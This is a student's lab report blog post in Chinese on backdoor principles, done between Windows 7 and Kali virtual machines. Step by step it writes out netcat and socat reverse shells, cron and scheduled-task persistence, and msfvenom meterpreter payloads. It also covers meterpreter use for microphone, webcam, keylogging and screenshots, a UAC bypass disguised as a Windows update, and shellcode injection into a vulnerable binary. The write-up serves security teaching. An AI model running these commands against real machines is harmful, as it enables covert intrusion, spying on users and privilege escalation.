20175104 李屹哲 Exp2 后门原理与实践

实验目录

0.实验准备

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动 

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告

2.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

(3)Meterpreter有哪些给你映像深刻的功能?

(4)如何发现自己有系统有没有被安装后门?

3.实验感想

实验准备

后门概念

后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

  • 编译器留后门

  • 操作系统留后门

  • 最常见的当然还是应用程序中留后门

  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

关于netcat

  • 又名nc,ncat

  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

准备工作

我本次使用的是win7-64bit和kali Linux-64bit进行试验

查阅win7及kali的ip

Windows查阅IP命令 ipconfig /all IP是192.168.135.130

kali查阅IP命令 ifconfig或ip add 这里ip是192.168.135.133

接下来关闭防火墙(防止在后续实验中遇到任何问题)

Windows关闭防火墙

  • 控制面板->Windows防火墙->打开或关闭Windows防火墙->分别关闭家庭和工作网络、公用网络防火墙

linux关闭防火墙

  • 先安装 apt-get install ufw 

  • 然后再输入指令 ufw disable 关闭防火墙

  • 记得在进行涉及安全的操作时要给虚拟机进行快照

  • Windows下载ncat以及socat

回到顶部

一. 使用netcat获取主机操作Shell,cron启动

1.Win获得Linux Shell

  • windows 打开监听,指令为 ncat.exe -l -p 5104 

  • kali反弹连接Windows,指令为 nc 192.168.135.130 5104 -e /bin/sh 

  • 之后可以发现windows获得linux shell。可以执行指令Linux指令ls

 

2.Linux获得Win Shell

  • kali运行监听指令监听端口 nc -l -p 5104 

  • Windows反弹连接Linux ncat.exe -e cmd.exe 192.168.135.133 5104 

  • 可以看到获得了Windows的命令行提示,可以执行dir指令(由于有中文字符所以乱码了)

 

 接下来有关mac和各种环境之间的实验由于没有mac环境,所以就没办法进行了。

3.nc传输数据

  • 我们从kali向Windows之间传输数据

  • Windows输入指令为 nc -l 5104 > 5104.out (将kali输入数据输出的5104.out文件)

  • kali运行指令为 nc 192.168.135.130 5104 < 5104.in (将5104.in文件中数据发送给Windows)

4.cron启动

  • Windows打开端口监听 ncat -l -p 5104 

  • kali这里输入指令 crontab -e ,在最后一行添加

5 5 10 3 * /bin/netcat 192.168.135.130 5104 -e /bin/sh (这里cron是一个Linux下的定时执行工具,这里意为在3月10日5点5分执行反弹连接指令,有关该指令,如果想细致了解,请参考此链接

  • 可以发现到时间Windows就获得了shell

 ps:这里我虚拟机的时间有点问题,上午和下午是反着来的,但小时和分钟是正确的,时间以虚拟机为主就好。

回到顶部

二. 使用socat获取主机操作Shell, 任务计划启动

socat简介 

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版

  • 首先Win>控制面板->管理工具->任务计划程序.

  • 然后添加新任务,我设置名称为20175104socat,设置触发器为任何用户登录时

  •  接下来设置操作为启动程序,路径选择之前下载好的socat文件中的exe文件。参数为 tcp-listen:5104 exec:cmd.exe,pty,stderr 

  • 然后启动任务,再注销一下,重新登陆

  • 之后kali这里执行指令 socat - tcp:192.168.135.130:5104 发现获得了一个shell,证明成功通过任务计划启动了

 有关更多socat的相关用法请移步此链接

回到顶部

三. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • kali上先执行指令

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.135.133 LPORT=5104 exe > 20175104_backdoor.exe

  以生成后门程序(如果出现问题,可能是因为bundler版本不对,输入指令 gem install bundler:1.17.3 安装1.17.3的bundler)

  • Windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。

  • Windows监听端口 ncat.exe -lv 5104 > 20175104_backdoor.exe 准备接收
  • kali将文件发送过去nc 192.168.135.130 5104 < 20175104_backdoor.exe

  

  • 接下来在kali输入 msfconsole 打开msfconsole

  在msfconsole中输入下列指令

  • use exploit/multi/handler启用侦听模块

  • set payload windows/x64/meterpreter/reverse_tcp 设置payload

  • set LHOST 192.168.135.133 设置LHOST

  • set LPORT 5104 设置LPORT

  • exploit 开始监听

  • 在Windows中把之前传过去后门程序打开

  • 此时可以发现kali这边获得了Windows的shell

回到顶部

四. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用指令 record_mic 进行录音

 

  • 使用指令 webcam_snap 用摄像头拍照

  • 注:虚拟机在这里设置启用摄像头

 

 

  • 使用 keyscan_start 指令开始记录下击键的过程,使用 keyscan_dump 指令读取击键的记录:

  • 使用 screenshot 截屏

  • 用 getsystem 指令提权(这里有很多人失败是因为没有绕开 UAC 限制)

  • 下面我们就想办法跳开UAC限制

  • 首先 getuid 发现我们现在是普通用户

  • 接下来用指令 background 指令将当前的session放到后台运行,可以在msf中继续其他的渗透任务。此命令适合在多个Meterpreter会话的场景下使用

  • 接下来依次输入指令

    use exploit/windows/local/ask //使用ask模块进行提权,使用该模块提权有个大问题,就是会触发uac机制(比较服气,就怎么也绕不开这个机制),但我们可以进行伪装
    set payload windows/x64/meterpreter/reverse_tcp//设置payload
    set LHOST 192.168.135.133
    set filename win_updata.exe//将该模块伪装为Windows升级程序
    set session 1//设置session的id
    options//可以查看该模式的设置
    exploit//开始监听

  • 接下来可以看到win7会触发UAC机制,但上面已经做了伪装,所以只要点了确认,那么我们就可以返回kali继续进行提权了

  • 然后输入 getsystem 发现成功了,然后再输入 getuid 查看权限。发现提权成功。

注:这里我参考的是这篇链接,还有很多其他可以绕过UAC的方法,但这些方法都要求你的Windows用户要处于admins组,所以在实际操作时要注意。

 接下来使用几个比较有意思的指令

  • download socat 将Windows桌面上的socat下载下来

  • 获取一个命令行界面,指令为 shell ,exit退出

  • 把meterpreter HOOK到其他进程上,这样就不用怕用户把当前这个进程关闭了

    • 先用指令ps查看所有进程

    • 选一个进程然后使用指令migrate 1816转移一下就ok了(这里我选的是explorer进程,是Windows程序管理器或者文件资源管理器)

  • 还有好多指令使用 help 指令查看,然后慢慢研究使用就行

回到顶部

五. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 如同实验一样先关闭内存地址随机化,设置堆栈可执行

  • 接下来打开两个终端继续进行调试找到shellcode地址就行(过程就略过了,做过实验一肯定会知道的)

  • 这里发现和上次一样地址是0xffffd35c+4=0xffffd360

  • 生成shellcode
perl -e 'print "A" x 32;print"\x60\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

  打开两个控制台,其中一个打开msfconsole,输入

  •  use exploit/multi/handler  启用侦听模块
  •  set payload linux/x86/shell_reverse_tcp  设置payload

  •  set LHOST 127.0.0.1 设置LHOST(shellcode里面确定的)

  •  set LPORT 4444 设置LPORT(shellcode里面确定的)

  •  show options 

  •  exploit 开始监听

  另一个使用 (cat input_shellcode;cat) | ./pwn5104 执行shellcode

  • 这时发现监听的控制台获得了shell

回到顶部

问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 可能在系统开发时,程序员已经设置了后门

  • 或者下载一些来路不明的软件

  • 将来路不明的存储设备插入电脑并执行了上面的文件

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:将后门设置为任务,在你执行某个操作时后门程序被触发

  • linux:通过cron启动将其后门指令或程序设置为定时执行

(3)Meterpreter有哪些给你映像深刻的功能?

  • 可以转移到其他进程,这让受害机想要摆脱攻击难上加难

  • 可以获得屏幕截屏,摄像头,威胁隐私

  • 可以下载受害机文件

(4)如何发现自己有系统有没有被安装后门?

  • 进行病毒查杀时发现异常
  • 电脑变卡了,由于运行后门时占用一定内存

  • 发现文件被篡改

  • 发现有异常进程

  • 发现从未开启的端口开启了

回到顶部

实验感想

  本次实验,我深深感受到了后门程序的可怕,之前再信息安全技术课上曾经做过类似的实验,但当时没有太过留心,认为只要不随便调整安全设置即可。但未曾想本次实验给我上了一课,让我们知道,如果一不小心,就有可能中招。在之前看过一个电影《解除关系2暗网》。本以为是比较虚假的,没想到本次实验中深深的体会到了其可怕之处。如果计算机被装了后门,那么恐怕隐私也就不复存在了,我们总以为自己的计算机是安全的;可如果有一天我们稍微放松警惕,把某个网上下载的不明软件打开,那么的等待我们的可能就是隐私被泄露。所以说一定要注意好计算机的安全防护。本次实验中,我选用了虚拟机之间进行试验,就是怕主机如果关闭防火墙会有闪失。总之本次实验收获良多。让我对让我对后门的原理有了深刻的认知。

回到顶部

posted @ 2020-03-11 12:57  20175104李屹哲  阅读(275)  评论(0编辑  收藏  举报